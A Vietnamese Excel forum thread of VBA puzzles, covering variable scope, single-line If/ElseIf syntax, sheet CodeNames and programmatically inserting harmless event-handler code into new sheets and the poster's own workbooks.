Đố vui về VBA! (3 người xem)

[anhtuan1066]

Nhằm cũng cố kiến thức về VBA cho các bạn mới bắt đầu và cả những bạn đang ứng dụng mà chưa hiểu nhiều về nó, tôi mở topic này với mong mõi qua những câu hỏi vui, các bạn sẽ nhận định lại sự hiểu biết cũa mình... (Kễ cã chính tôi cũng đang tập tành nên có rất nhiều cái chưa biết)
Mong rằng topic sẽ mang đến cho các bạn những khám phá thú vị với những cái tưỡng chừng như đã biết
Mong nhận dc bài viết về câu đố cũa các cao thủ! Còn các bạn mới thì đừng ngại khi đưa ra ý kiến cũa mình.. Có sai có sữa sẽ hoàn thiện!
Tôi xin mỡ màn trước bằng 1 câu hỏi đơn giãn
ANH TUẤN

CÂU HỎI 1: Tại sao biến K ko hoạt động?
Tôi muốn khi nhấn vào 1 button thì cell A1 sẽ tăng lên 1 đơn vị... Tôi đã làm như sau:
-Tạo 1 Command Button (nút nhấn thuộc thanh Control Toolbox), click phải chuột lên nút nhấn, chọn View code, rồi gõ vào đoạn code sau:

Private Sub CommandButton1_Click()
   K = K + 1
   Range("A1").Value = K
End Sub

Ban đầu K chưa có gì, xem như =0, nhấn nút lần thứ nhất thì K dc tăng thêm 1, vậy K hiện tại sẽ bằng 1, và gán K vào cell A1 thì đương nhiên A1 sẽ =1... Nhấn nút lần 2, K lại dc tăng thêm 1 nên hiện tại K sẽ =2 và cell A1 cũng sẽ =2... vân vân.. từ đó diễn tiến tiếp...
Hi.. hi.. Điều này nghe qua có vẽ rất hợp lý, ấy thế mà khi nhấn nút nó chỉ hoạt động dc duy nhất 1 lần (A1 = 1) rồi thôi ko nhút nhít nữa...
Các bạn có thể giãi thích tại sao lại như thế ko? Tại sao những lần nhấn nút sau đó K lại ko tăng thêm tí nào (vì thực tế A1 vẫn cứ = 1 hoài) ?
ANH TUẤN

 

[Hoàng Trọng Nghĩa]

Hình như cái 1 trả về 1 cái gì đó khi thỏa điều kiện.
Cái 2 thì có thể thêm vào nhiều kết quả.

Trả về nhiều kết quả thì mình có thể thực hiện như thế này mà HLMT:


If A > 10 Then A = A + 1 : B = B + A : C = C + B


==========================

Nếu nó có khác, họa chăng nó không thể chứa cấu trúc ElseIf mà thôi, tôi nghĩ là vậy.

 

[huuthang_bd]

Tôi thì không nghĩ là vậy, bởi trong Help có ghi chú:




Và điều đó cũng được nói tại đây:

http://msdn.microsoft.com/en-us/library/752y8abs.aspx

Vậy mới có cái đố chứ không thì còn gì là đố.

 

[Hoàng Trọng Nghĩa]

Vậy mới có cái đố chứ không thì còn gì là đố.

Vậy thì có gì khác thì đành chờ Thắng nói ra thôi, tôi đã thực hiện cấu trúc này nhiều, với cùng điều kiện như nhau và kết quả cũng như nhau, mà chưa thấy nó khác nhau điểm nào về kết quả, ngoài việc nó không thể có ElseIf trong cấu trúc đơn đó.

 

[Hai Lúa Miền Tây]

Nếu nó có khác, họa chăng nó không thể chứa cấu trúc ElseIf mà thôi, tôi nghĩ là vậy.

Ta có thể thực hiện Else trên 1 dòng mà.

 

[Hoàng Trọng Nghĩa]

Ta có thể thực hiện Else trên 1 dòng mà.

Thay vì với cấu trúc nhiều dòng ta có thể thực hiện được như thế này:

If Number < 10 Then
    Digits = 1
[COLOR=#ff0000][B]ElseIf [/B][/COLOR]Number < 100 [COLOR=#ff0000][B]Then[/B][/COLOR]
    Digits = 2
[COLOR=#0000cd][B]Else[/B][/COLOR]
    Digits = 3
End If

Nhưng với cấu trúc đơn nó không cho cái màu đỏ xen vào.

 

[Hai Lúa Miền Tây]

Thay vì với cấu trúc nhiều dòng ta có thể thực hiện được như thế này:

If Number < 10 Then
    Digits = 1
[COLOR=#ff0000][B]ElseIf [/B][/COLOR]Number < 100 [COLOR=#ff0000][B]Then[/B][/COLOR]
    Digits = 2
[COLOR=#0000cd][B]Else[/B][/COLOR]
    Digits = 3
End If

Nhưng với cấu trúc đơn nó không cho cái màu đỏ xen vào.

Có thể dùng else if trong 1 dòng nhen anh.

 

[huuthang_bd]

Xin lỗi mọi người. Tôi nhầm.

Lúc nãy đang viết đoạn code nhưng kết quả sai. Tôi sửa cấu trúc If... Then... từ 1 dòng thành nhiều dòng thì kết quả đúng nên tưởng kết quả khác nhau. Bây giờ kiểm tra lại hóa ra lúc nãy gõ nhầm

 

[Hoàng Trọng Nghĩa]

Ta có thể thực hiện Else trên 1 dòng mà.

Trời, nó cũng như thế này là cùng, nhưng không rẽ nhánh như cấu trúc nhiều dòng:

If a > b Then MsgBox a Else If a = b Then MsgBox b Else MsgBox b + a


Cái đó khác hoàn toàn với:

If a > b Then MsgBox a ElseIf a = b Then MsgBox b Else MsgBox b + a



dùng cấu trúc ElseIf là bị lỗi ngay đấy!

 

[Hai Lúa Miền Tây]

Trời, nó cũng như thế này là cùng, nhưng không rẽ nhánh như cấu trúc nhiều dòng:

If a > b Then MsgBox a Else If a = b Then MsgBox b Else MsgBox b + a


Cái đó khác hoàn toàn với:

If a > b Then MsgBox a ElseIf a = b Then MsgBox b Else MsgBox b + a



dùng cấu trúc ElseIf là bị lỗi ngay đấy!

Chính xác là thế anh xem bài 806 sẽ rõ

 

[Hoàng Trọng Nghĩa]

Chính xác là thế anh xem bài 806 sẽ rõ

Ý anh muốn nói là [1] Else If (có khoảng trắng ở giữa) và [2] ElseIf (không có khoảng trắng ở giữa), thì cấu trúc đơn không cho [2] vào thủ tục của mình, nó không hợp lệ.

 

[anhtuan1066]

Add code vào 1 sheet vừa mới tạo

Tôi viết 1 hàm tự tạo như thế này

Function Check() As Boolean
Application.Volatile
For i = 1 To Sheets.Count - 1
    For j = i + 1 To Sheets.Count
        If Sheets(i).CodeName = Sheets(j).CodeName Then
            Check = True
            Exit Function
        End If
    Next
Next
End Function

Câu hỏi đặt ra là hàm trên có thể trả về kết quả True không? Nếu có thì khi nào?

--------------------
Nhân bài đố vui của huuthang_bd, tôi xin đố 1 câu gần tương tự:
Hãy viết code làm những công việc sau đây:
- Code sẽ tạo 1 sheet mới
- Đặt tên cho sheet mới là "ANH TUAN"
- Add code sự kiện Worksheet_SelectionChange vào sheet ANH TUAN (vừa tạo) với nội dung:

Private Sub Worksheet_SelectionChange(ByVal Target As Range)
  MsgBox "Code nè"
End Sub

------------------------------------------
Yêu cầu:
- Sau khi chạy code (mà các bạn viết) xong thì sự kiện Worksheet_SelectionChange lập tức có tác dụng
- Không được chạy code từ cửa sổ lập trình VBE mà phải đóng toàn bộ cửa sổ VBE rồi Alt + F8, chọn tên sub để chạy
------------------------------------------
Tôi đố vậy là vì nếu chạy code từ cửa sổ lập trình thì rất dễ nhưng nếu đóng cửa sổ lập trình lại mà chạy code thì có thể bị lỗi. Nguyên nhân giống như bạn huuthang_bd đã nêu ở bài 794:

Khi tạo một Sheet mới thì CodeName của sheet đó là chuỗi rỗng cho đến khi ta mở cửa sổ VBE.
.

Mời các cao thủ thử sức (ai làm được rồi xin cứ từ từ nha)

 

[Hai Lúa Miền Tây]

Nó sao giống trường hợp cách đây 3 năm, hehe...
[h=1]Code có lúc chạy lúc không.[/h]

 

[thanhlanh]

--------------------


Mời các cao thủ thử sức (ai làm được rồi xin cứ từ từ nha)

Mình không phải cao thủ có từ từ không?

 

[thanhlanh]

Không "từ từ" được nữa, hết giờ rùi, đưa file lên mà về!

Mình giải vậy được không?

Sub ABC()
    Dim WS As Worksheet, strCode
    On Error GoTo thoat
    Set WS = ActiveWorkbook.Worksheets.Add
    WS.Name = "ANH TUAN"
    WS.Activate
    Application.VBE.MainWindow.Visible = True
    strCode = _
    "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
            " MsgBox ""Code ne""" & vbCr & _
              "End Sub"
    ThisWorkbook.VBProject.VBComponents(WS.CodeName).CodeModule.InsertLines 1, strCode
    Application.VBE.MainWindow.Visible = False
    Exit Sub
thoat:
    MsgBox "Sheet " & """" & "ANH TUAN" & """ co roi"
End Sub

 

[huuthang_bd]

Không "từ từ" được nữa, hết giờ rùi, đưa file lên mà về!

Mình giải vậy được không?

Sub ABC()
    Dim WS As Worksheet, strCode
    On Error GoTo thoat
    Set WS = ActiveWorkbook.Worksheets.Add
    WS.Name = "ANH TUAN"
    WS.Activate
    Application.VBE.MainWindow.Visible = True
    strCode = _
    "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
            " MsgBox ""Code ne""" & vbCr & _
              "End Sub"
    ThisWorkbook.VBProject.VBComponents(WS.CodeName).CodeModule.InsertLines 1, strCode
    Application.VBE.MainWindow.Visible = False
    Exit Sub
thoat:
    MsgBox "Sheet " & """" & "ANH TUAN" & """ co roi"
End Sub

Cái này là cũng mở cửa sổ VBE rồi còn gì, có điều mở bằng code chứ không phải mở thủ công.
Em cũng làm được rồi nè. Không mở cửa sổ VBE nhé. Để mai post.

 

[dhn46]

Em xin tham gia một Code

Sub AddCode()
    On Error Resume Next
    Dim WS As Worksheet, strCode As String, CoName As String
    Set WS = ActiveWorkbook.Worksheets.Add
    strCode = _
            "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
                " MsgBox ""Code ne""" & vbCr & _
            "End Sub"
    CoName = ThisWorkbook.VBProject.VBComponents(WS.Name).Properties("Codename")
    ThisWorkbook.VBProject.VBComponents(CoName).CodeModule.InsertLines 1, strCode
    WS.Name = "ANH TUAN"
    Exit Sub
End Sub

 

[ndu96081631]

Không "từ từ" được nữa, hết giờ rùi, đưa file lên mà về!

Mình giải vậy được không?

Sub ABC()
    Dim WS As Worksheet, strCode
    On Error GoTo thoat
    Set WS = ActiveWorkbook.Worksheets.Add
    WS.Name = "ANH TUAN"
    WS.Activate
    Application.VBE.MainWindow.Visible = True
    strCode = _
    "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
            " MsgBox ""Code ne""" & vbCr & _
              "End Sub"
    ThisWorkbook.VBProject.VBComponents(WS.CodeName).CodeModule.InsertLines 1, strCode
    Application.VBE.MainWindow.Visible = False
    Exit Sub
thoat:
    MsgBox "Sheet " & """" & "ANH TUAN" & """ co roi"
End Sub

Code này là code ăn gian <---- Không tính
-----------------------------

Em xin tham gia một Code

Sub AddCode()
    On Error Resume Next
    Dim WS As Worksheet, strCode As String, CoName As String
    Set WS = ActiveWorkbook.Worksheets.Add
    strCode = _
            "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
                " MsgBox ""Code ne""" & vbCr & _
            "End Sub"
    CoName = ThisWorkbook.VBProject.VBComponents([COLOR=#ff0000][B]WS.Name[/B][/COLOR]).Properties("Codename")
    ThisWorkbook.VBProject.VBComponents(CoName).CodeModule.InsertLines 1, strCode
    WS.Name = "ANH TUAN"
    Exit Sub
End Sub

Nhìn sơ qua thì có vẽ hợp lý. Chạy code cũng thấy đúng. Tuy nhiên bạn hãy thí nghiệm thế này nhé:
- Mở 1 Workbook trắng (mặc định nó đang có 3 sheet)
- Giờ xóa bớt Sheet2 và Sheet3 (chừa lại Sheet1)
- Xong, bấm Alt + F11 vào cửa sổ lập trình, sửa CodeName của Sheet1 thành Sheet4 (Tên sheet ngoài bảng tính để nguyên)
- Chèn code của bạn vào 1 Module
- Đóng cửa sổ lập trình lại và chạy thử code xem sự kiện SelectionChange có tác dụng không?
---------------
Cái trò này nhiều người từng bị mà search google cũng nghe nói rất nhiều. Nói chung người ta sẽ khuyên dùng 1 code gần giống như của bạn.
Người ta dựa trên nguyên lý: Khi 1 sheet được Add thì gần như SheetName và Sheet CodeName là giống nhau. Vậy nên mới có dòng code màu đỏ ấy ("bám" vào SheetName để "nắm lấy" CodeName)
Tuy nhiên sự đời không phải lúc nào cũng suông sẻ thế. Sẽ có lúc ta add 1 sheet mới mà SheetName và Sheet CodeName hoàn toàn không giống nhau. Thế thì "bám" vào cái gì để biết được Sheet CodeName đây
Ẹc... Ẹc...

 

[anhtuan1066]

Ngoài những vấn đề đã nêu ở trên thì các bạn chèn code theo kiểu CodeModule.InsertLines 1, strCode là chưa chính xác nha
Sao lại chắc chắn rằng sẽ chèn code từ line 1?
Nếu cửa sổ lập trình có sẵn dòng Option Explicit thì sao?

 

[dhn46]

- Trường hợp của thầy nêu ra quả là em chưa thể lường tới, âu đó là cái kinh nghiệm của bậc tiền bối chỉ giáo cho lớp trẻ chúng em.
- Theo gợi ý của thầy em đưa ra các phương án để giải quyết như sau

1/ Vấn đề dựa vào SheetName để lấy CodeName sẽ sai như ví dụ của thầy => hướng giải quyết sẽ lấy Index trong VBComponents để tìm Code Name. Em nhận thấy khi tạo 1 sheet mới thì Index sẽ luôn có giá trị max và nó bằng với giá trị VBComponents.Count

2/ Vấn đề chèn Code vào dòng thứ mấy?: Theo em thì sẽ dùng thuộc tính .CountOfLines của VBE để xác định dòng cần chèn.

Sub AddCode()
    On Error Resume Next
    Dim WS As Worksheet, strCode As String, CoName As String, Ind As Long, currLine As Long
    Set WS = ActiveWorkbook.Worksheets.Add
        WS.Name = "ANH TUAN"
    Ind = ThisWorkbook.VBProject.VBComponents.Count
    strCode = _
            "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
                " MsgBox ""Code ne""" & vbCr & _
            "End Sub"
    CoName = ThisWorkbook.VBProject.VBComponents.Item(Ind).Properties("Codename")
    With ThisWorkbook.VBProject.VBComponents(CoName).CodeModule
        currLine = .CountOfLines
        .InsertLines currLine + 1, strCode
    End With
End Sub

 

[thanhlanh]

Code này là code ăn gian <---- Không tính
-----------------------------

Không phải ăn gian mà lách luật, hi hi
Tuy nhiên, bây giờ chạy máy ở nhà (Excel 2010) không cần Application.VBE.MainWindow.Visible = True mà vẫn chạy ro ro.

Nếu cửa sổ lập trình có sẵn dòng Option Explicit thì sao?

Làm nhanh mà, nếu cần thì:
thay: ThisWorkbook.VBProject.VBComponents(WS.CodeName).CodeModule.InsertLines 1, strCode
thành:

    With ThisWorkbook.VBProject.VBComponents(WS.CodeName).CodeModule
        .InsertLines .CountOfLines + 1, strCode
    End With

 

[hungpecc1]

Sub AddCode()
    On Error Resume Next
    Dim WS As Worksheet, strCode As String, CoName As String, Ind As Long, currLine As Long
    Set WS = ActiveWorkbook.Worksheets.Add
        WS.Name = "ANH TUAN"
    Ind = ThisWorkbook.VBProject.VBComponents.Count
    strCode = _
            "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
                " MsgBox ""Code ne""" & vbCr & _
            "End Sub"
    CoName = ThisWorkbook.VBProject.VBComponents.Item(Ind).Properties("Codename")
    With ThisWorkbook.VBProject.VBComponents(CoName).CodeModule
        currLine = .CountOfLines
        .InsertLines currLine + 1, strCode
    End With
End Sub

Mình test code của bạn sao vẫn không thấy được nhỉ? <--- mình cũng không hiểu ?
anh Ndu có nói :
"- Sau khi chạy code (mà các bạn viết) xong thì sự kiện Worksheet_SelectionChange lập tức có tác dụng"

Mình hiểu là khi vừa add xong sheets thì sẽ có luôn 1 hộp thoại msgbox "code ne " hiện ra
code của bạn mình thử chạy trong VBA và run marco đều không thấy hiện ra???

Hôm qua mình cũng có viết 1 đoạn code (nhưng vẫn chưa đạt yêu cầu như mình hiểu !) thôi thì đã mất công viết thì cũng post lên đây luôn:

Sub add_code_to_NewSheet()
Dim CodeLines As Long
   Sheets.Add
   With ActiveWorkbook.VBProject.VBComponents(ActiveSheet.CodeName).CodeModule
        CodeLines = .CountOfLines + 1
        .InsertLines CodeLines, _
            "Private Sub Worksheet_SelectionChange(ByVal Target As Range)" & Chr(13) & _
            "     msgbox ""Code nè"" " & Chr(13) & _
            "End Sub"
    End With
    ActiveSheet.Name = "ANH_TUAN"
End Sub

 

[huuthang_bd]

Em cũng làm được rồi nè. Không mở cửa sổ VBE nhé. Để mai post.

Chắc bây giờ post được rồi. Em làm vầy.

Sub Test()
Dim VBC As Object, Ws As Worksheet
Set Ws = Sheets.Add
Ws.Name = "ANH TUAN"
Set VBC = ThisWorkbook.VBProject.VBComponents
VBC(Ws.CodeName).CodeModule.InsertLines 9, "Private Sub Worksheet_SelectionChange(ByVal Target As Range):MsgBox ""Code nè"":End Sub"
End Sub

 

[huuthang_bd]

Mình test code của bạn sao vẫn không thấy được nhỉ? <--- mình cũng không hiểu ?
anh Ndu có nói :
"- Sau khi chạy code (mà các bạn viết) xong thì sự kiện Worksheet_SelectionChange lập tức có tác dụng"

Mình hiểu là khi vừa add xong sheets thì sẽ có luôn 1 hộp thoại msgbox "code ne " hiện ra
code của bạn mình thử chạy trong VBA và run marco đều không thấy hiện ra???

Hôm qua mình cũng có viết 1 đoạn code (nhưng vẫn chưa đạt yêu càu !) thôi thì đã mất công viết thì cũng post lên đây luôn:

Sub add_code_to_NewSheet()
Dim CodeLines As Long
   Sheets.Add
   With ActiveWorkbook.VBProject.VBComponents(ActiveSheet.CodeName).CodeModule
        CodeLines = .CountOfLines + 1
        .InsertLines CodeLines, _
            "Private Sub Worksheet_SelectionChange(ByVal Target As Range)" & Chr(13) & _
            "     msgbox ""Code nè"" " & Chr(13) & _
            "End Sub"
    End With
    ActiveSheet.Name = "ANH_TUAN"
End Sub

Sự kiện Worksheet_SelectionChange lập tức có tác dụng không có nghĩa là sẽ xuất hiện hộp thoại thông báo ngay sau khi chạy code chính đâu bạn, bạn phải thao tác để sự kiện SelectionChange xảy ra (tức là thay đổi vùng chọn) thì mới xuất hiện hộp thoại chứ.

Ngay từ đầu trong câu đố anh ndu đã có nói đến vấn đề khi add một sheet mới thì codename của sheet đó là chuỗi rỗng nên sẽ bị lỗi nếu đóng cửa sổ VBE khi chạy code và code của bạn bị lỗi này, ít nhất là trên Excel 2007.

 

[anhtuan1066]

Chắc bây giờ post được rồi. Em làm vầy.

Sub Test()
Dim VBC As Object, Ws As Worksheet
Set Ws = Sheets.Add
Ws.Name = "ANH TUAN"
Set VBC = ThisWorkbook.VBProject.VBComponents
VBC(Ws.CodeName).CodeModule.InsertLines 9, "Private Sub Worksheet_SelectionChange(ByVal Target As Range):MsgBox ""Code nè"":End Sub"
End Sub

Đây chính là mấu chốt đề
Có động tác Set VBComponents thì code sẽ nhận biết được codeName ngay lập tức
Chúng ta có thể thí nghiệm để chứng mình

Sub Test()
  Dim VBC As Object, Ws As Worksheet
  Set Ws = Sheets.Add
  Ws.Name = "ANH TUAN"
[COLOR=#ff0000]  MsgBox Ws.CodeName

[/COLOR]  Set VBC = ThisWorkbook.VBProject.VBComponents

[COLOR=#ff0000]  MsgBox Ws.CodeName
[/COLOR]  VBC(Ws.CodeName).CodeModule.InsertLines 9, "Private Sub Worksheet_SelectionChange(ByVal Target As Range):MsgBox ""Code nè"":End Sub"
End Sub

MsgBox đầu sẽ cho kết quả rổng, MsgBox thứ 2 sẽ cho kết quả đúng

 

[thanhlanh]

Hi hi cái khoản Set VBComponents này mình vẫn đang dùng để add nhiều Sub một lượt, mà sao không vận dụng vào câu đố này nhỉ!
-------------

Kiểu add code trên còn có thể add một hoặc nhiều dòng (có giới hạn) vào trang code có sẵn, sub có sẵn. Nếu thủ tục ngắn thì có thể Add code kiểu này (nguyên Sub).

Sub Test()    Dim VBC As Object, Ws As Worksheet, strCode
    Set Ws = Sheets.Add
    Ws.Name = "ANH TUAN"
    strCode = _
    "Private Sub Worksheet_SelectionChange(ByVal Target As Range) " & vbCr & _
            " MsgBox ""Code ne""" & vbCr & _
              "End Sub"
    Set VBC = ThisWorkbook.VBProject.VBComponents
    VBC(Ws.CodeName).CodeModule.AddFromString strCode
End Sub

Lúc này ta không quan tâm đến có hay không Option Explicit hoặc các khai báo dạng Public, các hàm API có sẵn hay không.

 

[ndu96081631]

Lúc này ta không quan tâm đến có hay không Option Explicit hoặc các khai báo dạng Public, các hàm API có sẵn hay không.

Dùng AddFromString là đúng rồi nhưng cái chổ màu đỏ sẽ không bao giờ xảy ra đâu anh ---> Ta tạo 1 Sheet mới cơ mà

 

[thanhlanh]

Dùng AddFromString là đúng rồi nhưng cái chổ màu đỏ sẽ không bao giờ xảy ra đâu anh ---> Ta tạo 1 Sheet mới cơ mà

Không, ý mình nói trong trường hợp tổng quát mà, ví dụ thêm Sub vào một CodeModule có sẵn.

 

[ndu96081631]

Không, ý mình nói trong trường hợp tổng quát mà, ví dụ thêm Sub vào một CodeModule có sẵn.

Đây lại là trường hợp khác nữa à nha! Khi ấy anh phải thêm công đoạn xóa code phòng trường hợp buồn tay chạy Sub 2 lần để tránh việc Sub trùng với Sub

 

[thanhlanh]

Đây lại là trường hợp khác nữa à nha! Khi ấy anh phải thêm công đoạn xóa code phòng trường hợp buồn tay chạy Sub 2 lần để tránh việc Sub trùng với Sub

Tất nhiên rồi, nhưng nói hết dài lắm

Theo mình, đơn giản nhất là dùng Instr, ví dụ:

        With ActiveWorkbook.VBProject.VBComponents("Tên module").CodeModule
            If InStr(.Lines(1, .CountOfLines), "Tên sub") = 0 Then
                  .AddFromString [COLOR=#000000][I]strCode[/I][/COLOR]
            Else
                  ' Xoa Sub
                  ' Them Sub
            End If
        End With

Mình đưa một đoạn code lên cho các bạn (mới học VBA như mình) tham khảo:

[COLOR=#000080][FONT=Courier New]Sub ListProcedures()
[/FONT][/COLOR]        Dim VBProj As VBIDE.VBProject
        Dim VBComp As VBIDE.VBComponent
        Dim CodeMod As VBIDE.CodeModule
        Dim LineNum As Long
        Dim NumLines As Long
        Dim WS As Worksheet
        Dim Rng As Range
        Dim ProcName As String
        Dim ProcKind As VBIDE.vbext_ProcKind
        
        Set VBProj = ActiveWorkbook.VBProject
        Set VBComp = VBProj.VBComponents("Module1")
        Set CodeMod = VBComp.CodeModule
        
        Set WS = ActiveWorkbook.Worksheets("Sheet1")
        Set Rng = WS.Range("A1")
        With CodeMod
            LineNum = .CountOfDeclarationLines + 1
            Do Until LineNum >= .CountOfLines
                ProcName = .ProcOfLine(LineNum, ProcKind)
                Rng.Value = ProcName
                Rng(1, 2).Value = ProcKindString(ProcKind)
                LineNum = .ProcStartLine(ProcName, ProcKind) + _
                        .ProcCountLines(ProcName, ProcKind) + 1
                Set Rng = Rng(2, 1)
            Loop
        End With

    End Sub
    
    
    Function ProcKindString(ProcKind As VBIDE.vbext_ProcKind) As String
        Select Case ProcKind
            Case vbext_pk_Get
                ProcKindString = "Property Get"
            Case vbext_pk_Let
                ProcKindString = "Property Let"
            Case vbext_pk_Set
                ProcKindString = "Property Set"
            Case vbext_pk_Proc
                ProcKindString = "Sub Or Function"
            Case Else
                ProcKindString = "Unknown Type: " & CStr(ProcKind)
        End Select
 [COLOR=#000080][FONT=Courier New]    End Function[/FONT][/COLOR]

Nguồn: http://www.cpearson.com/excel/vbe.aspx
Khi sử dụng, vận dụng, xào xáo lưu ý ActiveWorkbook hay ThisWorkbook

 

[huuthang_bd]

Tất nhiên rồi, nhưng nói hết dài lắm

Theo mình, đơn giản nhất là dùng Instr, ví dụ:

        With ActiveWorkbook.VBProject.VBComponents("Tên module").CodeModule
            If InStr(.Lines(1, .CountOfLines), "Tên sub") = 0 Then
                  .AddFromString ("Tên sub")
            Else
                  ' Xoa Sub
                  ' Them Sub
            End If
        End With

Mình đưa một đoạn code lên cho các bạn (mới học VBA như mình) tham khảo:

[COLOR=#000080][FONT=Courier New]Sub ListProcedures()
[/FONT][/COLOR]        Dim VBProj As VBIDE.VBProject
        Dim VBComp As VBIDE.VBComponent
        Dim CodeMod As VBIDE.CodeModule
        Dim LineNum As Long
        Dim NumLines As Long
        Dim WS As Worksheet
        Dim Rng As Range
        Dim ProcName As String
        Dim ProcKind As VBIDE.vbext_ProcKind
        
        Set VBProj = ActiveWorkbook.VBProject
        Set VBComp = VBProj.VBComponents("Module1")
        Set CodeMod = VBComp.CodeModule
        
        Set WS = ActiveWorkbook.Worksheets("Sheet1")
        Set Rng = WS.Range("A1")
        With CodeMod
            LineNum = .CountOfDeclarationLines + 1
            Do Until LineNum >= .CountOfLines
                ProcName = .ProcOfLine(LineNum, ProcKind)
                Rng.Value = ProcName
                Rng(1, 2).Value = ProcKindString(ProcKind)
                LineNum = .ProcStartLine(ProcName, ProcKind) + _
                        .ProcCountLines(ProcName, ProcKind) + 1
                Set Rng = Rng(2, 1)
            Loop
        End With

    End Sub
    
    
    Function ProcKindString(ProcKind As VBIDE.vbext_ProcKind) As String
        Select Case ProcKind
            Case vbext_pk_Get
                ProcKindString = "Property Get"
            Case vbext_pk_Let
                ProcKindString = "Property Let"
            Case vbext_pk_Set
                ProcKindString = "Property Set"
            Case vbext_pk_Proc
                ProcKindString = "Sub Or Function"
            Case Else
                ProcKindString = "Unknown Type: " & CStr(ProcKind)
        End Select
 [COLOR=#000080][FONT=Courier New]    End Function[/FONT][/COLOR]

Nguồn: http://www.cpearson.com/excel/vbe.aspx
Khi sử dụng, vận dụng, xào xáo lưu ý ActiveWorkbook hay ThisWorkbook

Dùng hàm Instr để kiểm tra tuy đơn giản nhưng tìm ẩn nhiều rủi ro kết quả kiểm tra có thể không đúng. Vì nếu thủ tục cần kiểm tra chưa có nhưng chỉ cần một từ khóa, tên biến,... trong code trùng hoặc chứa chuỗi tên sub cần kiểm tra thì kết quả vẫn là đã có.

Em nghĩ kiểm tra một sub có tồn tại trong một Module nào đó hay không chỉ cần hàm đơn giản như thế này:

Function CheckExistSub(SubName As String, VBC As Object) As Boolean
On Error Resume Next
CheckExistSub = VBC.CodeModule.ProcBodyLine(SubName, 0) > 0
End Function

Và đây là hai sub dùng để kiểm tra.

Sub Test1()
MsgBox CheckExistSub("Test1", ThisWorkbook.VBProject.VBComponents("Module1"))
End Sub

Sub Test2()
MsgBox CheckExistSub("Test3", ThisWorkbook.VBProject.VBComponents("Module1"))
End Sub

Copy cả 3 đoạn code trên vào Module1 rồi chạy lần lượt Test1 và Test2 để thử.

 

[thanhlanh]

Dùng hàm Instr để kiểm tra tuy đơn giản nhưng tìm ẩn nhiều rủi ro kết quả kiểm tra có thể không đúng. Vì nếu thủ tục cần kiểm tra chưa có nhưng chỉ cần một từ khóa, tên biến,... trong code trùng hoặc chứa chuỗi tên sub cần kiểm tra thì kết quả vẫn là đã có.

Em nghĩ kiểm tra một sub có tồn tại trong một Module nào đó hay không chỉ cần hàm đơn giản như thế này:

Function CheckExistSub(SubName As String, VBC As Object) As Boolean
On Error Resume Next
CheckExistSub = VBC.CodeModule.ProcBodyLine(SubName, 0) > 0
End Function

Và đây là hai sub dùng để kiểm tra.

Sub Test1()
MsgBox CheckExistSub("Test1", ThisWorkbook.VBProject.VBComponents("Module1"))
End Sub

Sub Test2()
MsgBox CheckExistSub("Test3", ThisWorkbook.VBProject.VBComponents("Module1"))
End Sub

Copy cả 3 đoạn code trên vào Module1 rồi chạy lần lượt Test1 và Test2 để thử.

Cách của Thắng rất hay nhưng mình dị ứng với lỗi nên cũng ngại dùng.

Nếu tìm một hay vài từ, ví dụ tìm "Sub ABC()" khi dùng Instr dễ bị sai trong trường hợp Sub đó bị bỏ đi (đặt sau dấu ' )

Nhưng khi tìm nguyên Sub thì sẽ không bao giờ sai, với điều kiện là code cần tìm (biến StrCode) phải y chang code cũ đã có.

If InStr(.Lines(1, .CountOfLines), StrCode) = 0 Then

...

 

[anhtuan1066]

Chèn code sự kiện vào 1 file đang đóng

Cũng liên quan đến vấn đề chèn code, xin đố câu nữa:
- Tôi có 2 file: A.xls và B.xls cùng nằm trên 1 thư mục
- File B.xls chỉ có 1 sheet duy nhất tên là Sheet1 (Sheet Name và CodeName trùng tên nhau)
- File B.xls chỉ chứa 1 ClassModule duy nhất (code gì không biết)... ngoài ra không có bất cứ code trên sheet hay Module nào cả
- File B.xls có đặt password VBA (đương nhiên ta biết đó là password gì)
---------------------------
Nhiệm vụ của ta là:
- Viết code trong file A.xls để chèn sự kiện Change vào Cell A1 của Sheet1 trong file B.xls
- Sau khi code chạy thành công, mở file B.xls lên, gõ gì đó vào cell A1 thì lập tức StatusBar sẽ hiện ra những gì ta vừa gõ
---------------------------
Cũng hơi khoai nha!

 

[huuthang_bd]

Cũng liên quan đến vấn đề chèn code, xin đố câu nữa:
- Tôi có 2 file: A.xls và B.xls cùng nằm trên 1 thư mục
- File B.xls chỉ có 1 sheet duy nhất tên là Sheet1 (Sheet Name và CodeName trùng tên nhau)
- File B.xls chỉ chứa 1 ClassModule duy nhất (code gì không biết)... ngoài ra không có bất cứ code trên sheet hay Module nào cả
- File B.xls có đặt password VBA (đương nhiên ta biết đó là password gì)
---------------------------
Nhiệm vụ của ta là:
- Viết code trong file A.xls để chèn sự kiện Change vào Cell A1 của Sheet1 trong file B.xls
- Sau khi code chạy thành công, mở file B.xls lên, gõ gì đó vào cell A1 thì lập tức StatusBar sẽ hiện ra những gì ta vừa gõ
---------------------------
Cũng hơi khoai nha!

Cái này hình như hết "vui" rồi. Chuyển qua giai đoạn đau đầu.

 

[anhtuan1066]

Cái này hình như hết "vui" rồi. Chuyển qua giai đoạn đau đầu.

Nhưng sẽ vui nếu bạn viết rằng đáp án nó thật đơn giản
(Tôi đố vui nên chẳng khi nào code dài quá 30 dòng)
Nhớ ĐỌC KỸ câu hỏi nha (nhiều khi bị "lừa" mà không biết)

 

[huuthang_bd]

Nhưng sẽ vui nếu bạn viết rằng đáp án nó thật đơn giản
(Tôi đố vui nên chẳng khi nào code dài quá 30 dòng)
Nhớ ĐỌC KỸ câu hỏi nha (nhiều khi bị "lừa" mà không biết)

Có thể cách này không đúng với đáp án của anh vì em bỏ qua khá nhiều dữ kiện của câu đố. Tuy nhiên, code vẫn thực hiện được mục đích cuối cùng.

 

[anhtuan1066]

Có thể cách này không đúng với đáp án của anh vì em bỏ qua khá nhiều dữ kiện của câu đố. Tuy nhiên, code vẫn thực hiện được mục đích cuối cùng.

File B.xls phải có khả năng chạy độc lập chứ Thắng
